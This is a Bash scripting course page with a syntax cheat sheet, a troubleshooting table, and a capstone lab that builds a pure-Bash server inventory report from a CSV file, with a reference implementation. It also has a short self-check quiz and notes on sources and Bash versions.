Narration: index-array subscripts are naturally ordered, so integer keys can be sorted for free.
Shot 4 · 90–120s
Visual: data grows from ten thousand lines to one million lines; the Bash progress bar slows down while awk finishes in a flash; caption: see you in Lesson 5.
Narration: pure Bash suits small data during troubleshooting; leave large data to awk.
or score ≥ 70% on the quiz

Command cheat sheet

A one-page summary of all the syntax in this lesson, printable
Bash 5.x

Parameter expansion

${v:-default}   ${v:=default}   ${v:?error}   ${v:+alternate}
${v-default}    # no colon: only unset counts as missing
${v#pat}  ${v##pat}      # remove prefix: shortest / longest
${v%pat}  ${v%%pat}      # remove suffix: shortest / longest
${f##*/}  ${f%/*}  ${f%.*}  ${f##*.}
${v/p/r}  ${v//p/r}  ${v/#p/r}  ${v/%p/r}
${v:off:len}  ${v: -3}  ${#v}
${v^} ${v^^} ${v,} ${v,,}   ${v@Q} ${v@U}(5.1+)
${!name}  ${!prefix*}     # indirect / list of variable names

Arithmetic

n=$(( a + b * 2 ))       # value
(( n > 10 )) && echo big  # exit status
(( ++i ))                # increment (always succeeds when i≥0)
i=$(( i + 1 ))           # assignment that always succeeds
$(( 10#$m ))             # 08/09 → decimal
$(( 16#ff )) $(( 2#1010 )) $(( 0x1F ))
printf '%d.%02d%%' $((a*100/b)) $((a*10000/b%100))
[[ $v =~ ^[0-9]+$ ]] || exit 2   # validate before computing

Arrays

a=(x "y z"); a+=(w); a[10]=v
"${a[@]}"   "${#a[@]}"   "${!a[@]}"   "${a[@]:1:2}"
"${a[-1]}"  unset 'a[1]'  a=("${a[@]}")   # compact
(IFS=,; echo "${a[*]}")                 # join
declare -A m=()
(( ++m[$k] ))       m[$k]+=" $v"
[[ -v m[$k] ]]      ${m[$k]:-0}
for k in "${!m[@]}"; do …; done         # unordered
declare -p a m                          # debugging

Conditionals

[[ -z $s ]] [[ -n $s ]] [[ $a == "$b" ]]
[[ $f == *.log ]]          # unquoted right side = glob
re='^([0-9]+)\.([0-9]+)$'; [[ $v =~ $re ]] && echo "${BASH_REMATCH[1]}"
[[ -f $p && -r $p ]]  [[ -d $d ]]  [[ $a -nt $b ]]
[[ -v var ]]  [[ -t 1 ]]
(( a < b ))                 # numeric
[ "$x" = y ]               # POSIX, must be quoted
case $x in a|b) …;; c*) …;& *) …;; esac

Loops

for f in dir/*; do [[ -e $f ]] || continue; …; done
shopt -s nullglob extglob globstar dotglob
for x in "${arr[@]}"; do …; done
for (( i = 0; i < n; i++ )); do …; done
until cmd; do (( SECONDS > deadline )) && break; sleep 1; done
break 2   continue
for …; do …; done > out.txt      # redirect the whole loop

Read input

while IFS= read -r line || [[ -n $line ]]; do
  …
done < file
while …; done < <(cmd)            # keeps variables
shopt -s lastpipe                 # in scripts: cmd | while keeps variables
IFS=, read -r a b rest <<< "$csv"
IFS=, read -r -a fields <<< "$csv"
while IFS= read -r -d '' f; do …; done < <(find . -print0)
mapfile -t lines < file   mapfile -d '' -t fs < <(find . -print0)
cmd </dev/null   while read -r -u 3 x; do …; done 3< file
v=${v%$'\r'}                       # strip CR

Here-doc / process substitution

cat <<EOF        # expands $var $(cmd) $((…))
cat <<'EOF'      # no expansion (generating scripts / templates)
cat <<-EOF       # strip leading tabs
sudo tee /etc/x.conf >/dev/null <<'EOF'
cmd <<< "$var"   # here-string (appends \n)
diff <(cmd1) <(cmd2)      comm -3 <(sort a) <(sort b)
cmd | tee >(gzip > x.gz) >/dev/null
out=${ cmd; }    # 5.3+: command substitution without fork
msg=${| f; }     # 5.3+: take REPLY

Debugging

declare -p var arr map          # inspect exact values
printf '%q\n' "$v"   echo "${v@Q}"
echo "$BASHPID $$"              # whether in a subshell
bash -n script.sh               # syntax check
bash -x script.sh               # execution trace
shellcheck script.sh            # static analysis (Lesson 7)
echo "$BASH_VERSION"; shopt     # version and options

Quick troubleshooting table

Symptom / errorMost likely causeFixModule
value too great for base (error token is "08")Leading 0 → octal$(( 10#$v ))M2
invalid arithmetic operator (error token is ".5…")Decimalsscale up to integers / awkM2
The script exits at the first (( n++ )) (it returns 1)value is 0 → status 1 + set -e(( ++n ))M2
declare: -A: invalid optionBash 3.2Upgrade,#!/usr/bin/env bashM3
an associative array has only one [0] elementforgot to declare -Adeclare it firstM3
a[@]: unbound variableBash < 4.4 + set -u + empty arrayupgrade or ${a[@]+"${a[@]}"}M3
[: =: unary operator expectedunquoted empty variable[[ ]] or quote itM4
[ -n $x ] is true when x is emptythe argument is removed, leaving only "-n"[[ -n $x ]]M4
=~ never matchesregex quoted / used \d / end of line \rregex in a variable, unquotedM4
the loop receives a literal *.csvglob has no matchesnullglobM5
variable is lost after the loopcmd | while subshelldone < <(cmd) / lastpipeM6
last line not processedmissing trailing newline|| [[ -n $line ]]M6
while runs only oncea command in the loop body consumes stdin</dev/null, fd 3M6
In the generated file, $variable disappearshere-doc delimiter not quoted<<'EOF'M7
delimited by end-of-fileend line has whitespace / CRLF / space indentationflush left, LFM7

Recommended script header (within this lesson)

#!/usr/bin/env bash
# Requires Bash ≥ 4.4 (associative arrays, empty arrays under set -u, mapfile -d)
(( BASH_VERSINFO[0] > 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] >= 4) )) \
  || { echo "Requires Bash ≥ 4.4, current $BASH_VERSION" >&2; exit 3; }
set -u                                   # full strict mode is in Lesson 4
shopt -s nullglob extglob                # enable as needed
: "${DATA:=$HOME/bashlab/data}"          # keep configuration defaults together at the top
declare -A counts=()                     # explicitly initialize arrays
declare -a items=()

Capstone lab + final quiz

Using only Bash builtins, write a script for servers.csv with argument validation, grouped statistics and a here-doc report inventory-report.sh
about 30 minLocal · no cost

Scenario

The operations team needs a daily server inventory report: count hosts by environment and region, list the hosts in each environment, validate every line (hostname, environment, region and IP must be valid), list invalid lines separately, and support reporting on a single environment. The report is in Markdown and goes to the team channel. Requirements: No awk / sed / cut / sort or other external commands (except date ), runs on Bash ≥ 4.4 with explicit handling of lines without a trailing newline, CRLF line endings, and quoted commas. Lesson 3 turns it into opsctl servers list --env subcommands.

Arguments and defaults (M1, M4): the script takes an optional first argument env (dev|staging|prod|all, default all, case-insensitive); the second argument is the CSV path (default ${DATA:-$HOME/bashlab/data}/servers.csv). An invalid env prints the usage and exit 2, and an unreadable file exit 2.
cd ~/bashlab/part2
cat > inventory-report.sh <<'EOF'
#!/usr/bin/env bash
set -u
want=${1:-all}; want=${want,,}
csv=${2:-${DATA:-$HOME/bashlab/data}/servers.csv}
case $want in dev|staging|prod|all) ;; *) echo "Usage: ${0##*/} [dev|staging|prod|all] [csv]" >&2; exit 2;; esac
[[ -r $csv ]] || { echo "Cannot read ${csv@Q}" >&2; exit 2; }
# TODO: steps 2–5
EOF
chmod +x inventory-report.sh
Read and clean input (M6): use while IFS= read -r line || [[ -n $line ]] read line by line, first stripping trailing \r, then use IFS=, read -r -a f <<< "$line" to split into an array; skip the header and blank lines; lines whose field count is not 5 (lines with quoted commas) are recorded in the invalid array, with the reason.
Validation (M2, M4): hostname ^[a-z][a-z0-9-]*[a-z0-9]$; environment case; region must be one of canadacentral|ca-central-1; IP uses a regex + each octet 10# ≤ 255. Invalid lines go into invalid (line number + reason + ${line@Q}).
Counting (M3): associative arrays by_env,by_region,by_env_region["$env/$region"] (composite keys to simulate 2D),hosts_of["$env"] (space-separated hostname lists); only count lines that match want (all lines when all ).
Sorted output (M5): print environments in fixed order dev staging prod (defined by an array, not by associative-array iteration order); sort the region list with a small pure-Bash insertion sort.
Generate the report (M7): use one unquoted here-doc to print the Markdown report header (including $(date +%F),$want, and totals), using a loop with printf for the table part; invalid lines are listed in another here-doc section. Reference output:
# Server inventory report (2026-11-17)

- Scope: all
- Valid hosts: 11; invalid lines: 1

| Environment | Hosts | Host list |
|---|---|---|
| dev | 3 | web-01 api-01 db-01 |
| staging | 3 | web-01 api-01 db-01 |
| prod | 5 | web-01 web-02 api-01 db-01 bastion-01 |

| Region | Hosts |
|---|---|
| ca-central-1 | 4 |
| canadacentral | 7 |

## Invalid lines
- Line 11: field count 6 ≠ 5 (may contain quoted commas): 'edge-01,prod,ca-central-1,10.30.2.51,"web,api"'

prod actually has 6 hosts, but the report shows only 5: the edge-01 line was judged invalid because of a CSV quoting problem. This is deliberate: IFS=, it cannot be parsed reliably, and listing it explicitly is better than silently miscounting. Lesson 6 uses the same content as a inventory.json with jq to get the correct result.

Test matrix: ./inventory-report.sh,./inventory-report.sh PROD,./inventory-report.sh qa (rc=2),./inventory-report.sh all /nonexistent (rc=2), and run it on a copy with CRLF and no trailing newline on the last line (the result should match the original file); in bash:5.3 a container, run it once as well: docker run --rm -v "$PWD":/work -v "$DATA":/data -w /work bash:5.3 bash inventory-report.sh all /data/servers.csv (inside the container, date comes from BusyBox,+%F which also supports it).
Reference implementation and cleanup: the reference implementation is in the collapsible section below; keep the script for use in Lesson 3 when done.
Reference implementation (write your own first, then expand to compare)
#!/usr/bin/env bash
# inventory-report.sh — pure Bash server inventory report (reference implementation for the Lesson 2 capstone lab)
set -u
want=${1:-all}; want=${want,,}
csv=${2:-${DATA:-$HOME/bashlab/data}/servers.csv}
case $want in dev|staging|prod|all) ;; *) echo "Usage: ${0##*/} [dev|staging|prod|all] [csv]" >&2; exit 2;; esac
[[ -r $csv ]] || { echo "Cannot read ${csv@Q}" >&2; exit 2; }

declare -A by_env=() by_region=() hosts_of=()
declare -a invalid=() envs=(dev staging prod)
declare -i lineno=0 valid=0
ip_re='^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$'

while IFS= read -r line || [[ -n $line ]]; do
  (( ++lineno ))
  line=${line%$'\r'}
  [[ -z $line || $lineno -eq 1 ]] && continue
  IFS=, read -r -a f <<< "$line"
  if (( ${#f[@]} != 5 )); then
    invalid+=("Line $lineno: field count ${#f[@]} ≠ 5 (may contain quoted commas): ${line@Q}"); continue
  fi
  name=${f[0]} env=${f[1]} region=${f[2]} ip=${f[3]}
  reason=
  [[ $name =~ ^[a-z][a-z0-9-]*[a-z0-9]$ ]] || reason="invalid hostname"
  case $env in dev|staging|prod) ;; *) reason+="${reason:+; }invalid environment" ;; esac
  case $region in canadacentral|ca-central-1) ;; *) reason+="${reason:+; }invalid region" ;; esac
  if [[ $ip =~ $ip_re ]]; then
    for o in "${BASH_REMATCH[@]:1}"; do (( 10#$o <= 255 )) || { reason+="${reason:+; }IP octet $o > 255"; break; }; done
  else
    reason+="${reason:+; }invalid IP format"
  fi
  if [[ -n $reason ]]; then invalid+=("Line $lineno: $reason: ${line@Q}"); continue; fi
  [[ $want == all || $want == "$env" ]] || continue
  (( ++valid, ++by_env[$env], ++by_region[$region] ))
  hosts_of[$env]+="${hosts_of[$env]:+ }$name"
done < "$csv"

# Region name insertion sort (pure Bash, string comparison)
regions=()
for r in "${!by_region[@]}"; do
  i=${#regions[@]}
  while (( i > 0 )) && [[ ${regions[i-1]} > $r ]]; do regions[i]=${regions[i-1]}; (( i-- )); done
  regions[i]=$r
done

cat <<EOF
# Server inventory report ($(date +%F))

- Scope: $want
- Valid hosts: $valid; invalid lines: ${#invalid[@]}

| Environment | Hosts | Host list |
|---|---|---|
EOF
for e in "${envs[@]}"; do
  [[ $want == all || $want == "$e" ]] || continue
  printf '| %s | %d | %s |\n' "$e" "${by_env[$e]:-0}" "${hosts_of[$e]:-}"
done
printf '\n| Region | Hosts |\n|---|---|\n'
for r in "${regions[@]}"; do printf '| %s | %d |\n' "$r" "${by_region[$r]}"; done
if (( ${#invalid[@]} )); then
  printf '\n## Invalid lines\n'
  printf -- '- %s\n' "${invalid[@]}"
fi
# cleanup (keep inventory-report.sh and logstats.sh)
rm -rf -- ~/bashlab/part2/m{1..8}
Acceptance checklist

Open-ended self-check (6 questions)

1. Explain ${f%.*} and ${f%%.*} on backup.tar.gz results, and explain how to remember # and %.

${f%.*} remove the shortest ".anything" suffix → backup.tar; ${f%%.*} remove the longest → backup. On the keyboard, # is to the left of $ (removes from the left = prefix), and % is to the right of $ (removes from the right = suffix); writing the symbol twice means greedy.

2. Why does m=$(date +%m); echo $((m+1)) fail only in August and September? Give two fixes.

"08" and "09" start with 0 and are treated as octal, but 8 and 9 are not octal digits; "01"–"07" happen to equal their decimal values in octal, and "10"–"12" do not start with 0. Fixes: $((10#$m + 1)); or have date output the value without leading zeros (GNU date +%-m).

3. "${arr[@]}","${arr[*]}",${arr[@]} — in which situations is each one used?

The first form: almost every case (iteration, passing arguments), one word per element; the second form: when joining the array into a single string, use a local IFS to set the separator; the third form (unquoted): almost never used, since it performs word splitting and globbing again.

4. Explain grep x f | while read -r l; do n=$((n+1)); done; echo $n the full reason the output is empty, and three fixes.

Each element of a pipeline runs in its own child process; the while loop modifies its own copy of variables in a forked subshell, and the changes vanish when the subshell exits. Fixes: done < <(grep x f) (process substitution keeps the loop in the current shell); in a script, shopt -s lastpipe (with job control off, the last pipeline element runs in the current shell); or simply n=$(grep -c x f).

5. When do you use [ ], and when do you use [[ ]], and when do you use (( ))?

When POSIX sh compatibility is needed, use [ ] and quote all variables; in Bash scripts, strings, patterns, regexes and file tests use [[ ]]; numeric comparisons and calculations use (( )). All three participate in if / && / || through their exit status.

6. Generate a config file containing nginx variables ($remote_addr) and script variables ($port). How would you write it?

Separate the parts that need expansion from those that must not be expanded: use printf or an unquoted here-doc for the script-variable part, and <<'EOF'; or use an unquoted here-doc for everything and write the nginx variables as \$remote_addr. After generating, check with nginx -t .

Sources and version notes

Verification basis for the technical facts in this lesson (verified 2026-11-17)
TopicVerified conclusionSource (accessed 2026-11-17)
Current Bash versionUpstream 5.3 (manual Edition 5.3, updated 2025-05-18; 5.3 released 2025-07), official patches up to bash53-020; Docker official image tag bash:5.3 / 5.3.20 exists (also 5.2.37, 3.2.57, etc.); the Ubuntu 26.04 (resolute) package is 5.3-2ubuntu1ftp.gnu.org/gnu/bash · bash-5.3-patches · Docker Hub: bash · Launchpad: bash
Bash 5.3 new features:${ command; } and ${|command;} (command substitution without fork), GLOBSORT,array_expand_once (replaces assoc_expand_once),read -E,source -p, BASH_MONOSECONDS, BASH_TRAPSIG,[[ =~ ]] errors when the regex fails to compileBash NEWS (bash-5.3 branch)
5.2 / 5.1 / 4.4 changes5.2: patsub_replacement (enabled by default),globskipdots (enabled by default); 5.1: here-doc and here-string use a pipe when smaller than the pipe buffer, process substitution is available in POSIX mode,@U @u @L @K transformations; 4.4: "${a[@]}" no longer errors on empty arrays under nounset (CHANGES wording),$! can wait for the most recent process substitution,mapfile -d; 4.2: lastpipe (no effect when job control is enabled)NEWS · CHANGES
Pipelines and subshells“Each command in a multi-command pipeline … is executed in its own subshell … If the lastpipe option is enabled … and job control is not active, the last element of a pipeline may be run by the shell process.”Bash manual: Pipelines
Parameter expansion, arithmetic, arrays, conditionals, loops, redirectionsection semantics (base rules, 64-bit integers without overflow checks, associative arrays need declare -A,[[ ]] no word splitting or globbing, here-doc delimiter quoting rules)GNU Bash Reference Manual 5.3
POSIX shParameter expansion # ## % %% :- etc. are POSIX; arrays,[[ ]],<<<, and process substitution is notPOSIX.1-2024 Shell Command Language
ShellCheck rulesSC2068 (quote array expansion), SC2070 (-n vs unquoted arguments), SC2030/SC2031 (variable changes in a subshell)ShellCheck Wiki
Style guidancePrefer Bash scripts: [[ ]] and (( )), array passing, and avoid let/expr/$[ ]Google Shell Style Guide
Measured snippetsOutputs labeled "Actual output (Bash 5.2.37)" were all run on the machine used to build this course (Git Bash 5.2.37 on Windows, with scripts placed in a temp directory); they include the octal error and "discarding the current line", 64-bit wraparound,(( i++ )) status, arithmetic injection,[ -n $x ] is true,[[ 08 -eq 8 ]] errors, empty arrays and set -u (including declare -a b after ${#b[@]} errors),unset "m[$k]" double quotes execute command substitution inside keys, and the pipe / process substitution / lastpipe $BASHPID, the last line without a newline, and all logstats.sh outputCourse page build notes

Video verification notes

The following videos were verified through the YouTube oEmbed API (2026-11-17) for title and channel: You Suck at Programming, "Basic Parameter Expansion in Bash - You Suck at Programming #026" (Bzi7pa7y15M); "Using Parameter Transformation in Bash! really neat variable tricks - You Suck at Programming #056" (HTqbVB4mMv8); "Why `&` is such a problem with Parameter Expansion in Bash! You Suck at Programming #074" (6rWVtwrkiA8); "Bash Arithmetic Expressions Explained" (r50qEw4ZpAY); "Arrays in Bash Explained in 7 Minutes! - Indexed, Associative, and Nested / Multi-Dimensional" (asHJ-xfuyno); "Arrays in Pure Bash - You Suck at Programming #020" (r4Sc-DpIprk); "Understanding the IFS in Bash! Stringify Arrays easily - You Suck at Programming #030" (i7qr3fDNQTo); "test vs [ vs [[: Bash Conditionals Explained! You Suck at Programming #066" (6QdNixBS4wc); "Proper `for` loops in Bash - `for` vs `while` loops - You Suck at Programming #038" (TVzG-vc1lWM); "Read Input Line by Line in Bash" (SkH0G8ktJyM); "Using read in bash to quickly parse files line-by-line" (L6Votf_uoIM); "Bash `read` command instead of `cut` and `tr` - You Suck at Programming #005" (gB1OFgiilzQ); "Understanding The `mapfile` builtin in Bash - You Suck at Programming #040" (Z7Ie7NrUQV0); "Heredocs in Bash! Understanding how they work and a few gotchas. You Suck at Programming #069" (-a1VAole01s); "Command vs. Process substitution in Bash - explaining the difference. You Suck at Programming #073" (f3eIK5xk4vg); "heredocs vs. printf for multiline inserts in bash scripts" (hCji0vRGHe8); Learn Linux TV, "How To Write Bash Scripts In Linux - Complete Guide" series Part 3 Variables (uQE_4Q-HZZw), Part 4 Basic Math (YDnp2oEiF64), Part 5 If Statements (YrE1Qg-Aw0Q), Part 6 Exit Codes (6N4RNPRx0xs), Part 7 While Loops (R0tTsdQ_9Vw), Part 9 For Loops (HvzI7c3eK5k), Part 13 Case Statements (3hnn8XoS2pY); Nick Janetakis, "Associative Arrays in Bash (AKA Key-Value Dictionaries)" (HxGC7SS3WWI); Hak5, "What is a heredoc? Here Documents Explained | Linux Terminal 201 - HakTip 179" (Ae4p7rgUo28); freeCodeCamp.org, "Bash Scripting Tutorial for Beginners" (tK9Oc6AEnR4); Fireship, "Bash in 100 Seconds" (I4EWvMFj37g). Only the titles and channels were verified; the content of each video was not reviewed one by one. Older videos do not cover the Bash 5.2 / 5.3 changes. No verified dedicated video was found for the topics "octal and arithmetic injection", "variables lost in pipeline subshells" and "pure-Bash log statistics", so storyboards are provided for them instead.

Audio narration notes

The "Audio" tab reads the narration aloud using the browser's Web Speech API (en-US); English terms are pronounced with en-US, and the result depends on the system's voice packs. This course page does not embed MP3 files; if you need offline audio, hand the narration script to a TTS service to generate it.

Known limitations

  • The machine used to build this course has only Bash 5.2.37 (Git Bash), not Bash 5.3: snippets that use the 5.3 syntax (${ cmd; },${| cmd; }) outputs are "examples" written from NEWS and the manual, not actually run. The other snippets labeled "actual output" ran on 5.2.37; these behaviors are expected to be the same in Bash 5.3, but they have not been re-checked on 5.3 one by one.
  • Outputs labeled "expected output" or "example" were not actually run (including commands that depend on a Linux environment, a terminal, or the Lesson 1 dataset); PIDs, pipe numbers, file sizes, times, and Bash patch numbers on Ubuntu are example values.
  • The "actual output" involving the dataset was produced by extracting the make-data.sh from the Lesson 1 page as-is into a temp directory and running it (the cksum of the generated access.log / servers.csv matches the 80306651 79109 / 3087317886 526 given in Lesson 1), so your results on ~/bashlab/data should match byte for byte; only paths, PIDs, file sizes and dates are example values. The Module 8 animation and the 10-line sample in the Module 0 collapsible section are for demonstration only.
  • Git Bash's locale and collation rules differ from Linux; the order of glob results,${v@Q} , and the way Chinese text is displayed, may differ from your system; where relevant, this has been changed to "expected output in a UTF-8 locale".
  • The iteration order of associative arrays depends on the implementation; the key order in the examples may differ from your output.
  • The performance comparison numbers come from Git Bash on Windows and are used only to show order-of-magnitude differences.
  • The animations are simplified versions of the real mechanisms: the Module 6 animation omits process groups, signals and clone() flags; the Module 7 animation omits the details of creating temp files (O_EXCL, immediate unlink).
  • UTF-8 and multibyte characters: ${#v},${v:off:len} counts characters in a multibyte locale, and in LC_ALL=C it counts bytes; this lesson does not go into detail.